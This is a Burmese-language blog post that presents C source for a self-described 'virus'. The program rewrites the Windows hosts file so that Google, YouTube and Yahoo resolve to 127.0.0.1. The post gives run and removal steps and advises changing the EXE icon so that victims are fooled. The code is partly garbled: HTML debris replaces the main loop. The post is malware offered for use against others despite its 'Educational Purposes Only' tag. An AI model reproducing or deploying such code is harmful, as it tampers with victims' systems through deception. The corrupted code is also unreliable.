ဒါကေတာ့ Virus ရဲ႕ Source Code ေတြျဖစ္ပါတယ္.....
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++) success="0;" success="find_root();">
ဒီ Virus ကို စမ္းသပ္ၾကည့္ဖို႔အတြက္ကေတာ့...
(၁) Compile လုပ္ျပီးတဲ႔အခါ block_Site.exe ( ဖုိင္ name ကေတာ့ ၾကိဳက္သလိုေပးႏိုင္ပါတယ္...)ကို တစ္ၾကိမ္ run လိုက္ပါ ။ ျပီးရင္ browser program ကို restart လုပ္လိုက္ပါ... ျပီးရင္ ဒီ Virus ထဲမွာ ပါ၀င္တဲ႔ website ေတြရဲ႕ URL ကို ရိုက္ထည့္ျပီး ဖြင့္ၾကည့္ပါ... Browser က "Page cannot displayed" ဆိုတဲ႔ error ကို ျပပါလိမ့္မယ္...။
(၂) ဒီ Virus ကို ျပန္ျဖဳတ္ဖို႔အတြက္ကေတာ့ Run ထဲမွာ %windir%\system32\drivers\etc ကို type ျပီး ဖြင့္လိုက္ပါ။ ျပီးရင္ အဲဒီထဲမွာ ဖိုင္ name "hosts" ဆိုတဲ႔ ဖိုင္ေတြကို ရွာျပီး notepad နဲ႔ဖြင့္ၾကည့္ပါ။ ဖိုင္ထဲမွာ ...
127.0.01 ------------- google.com
ကဲ႔သို႔ေသာ IP adress နဲ႔ website URL ပါတာေတြကို ေတြ႔ရပါလိမ့္မယ္။ အခုလို ပါ၀င္တဲ႔ ဖိုင္ေတြအားလံုးကို Delete လုပ္လိုက္ပါ ။
တိုက္ခိုက္ခံရသူေတြ ထင္ေယာင္ထင္မွားျဖစ္ေအာင္ EXE ဖိုင္ရဲ႕ Icon ပံုစံကို ေျပာင္းလဲဖုိ႔ လိုပါလိမ့္မယ္။ ( EXE ဖိုင္ရဲ႕ icon ပံုစံကို ဘယ္လိုေျပာင္းမလဲ ဆိုတဲ႔ Post မွာၾကည့္ပါ... )
(Educational Purposes Only )
Post a Comment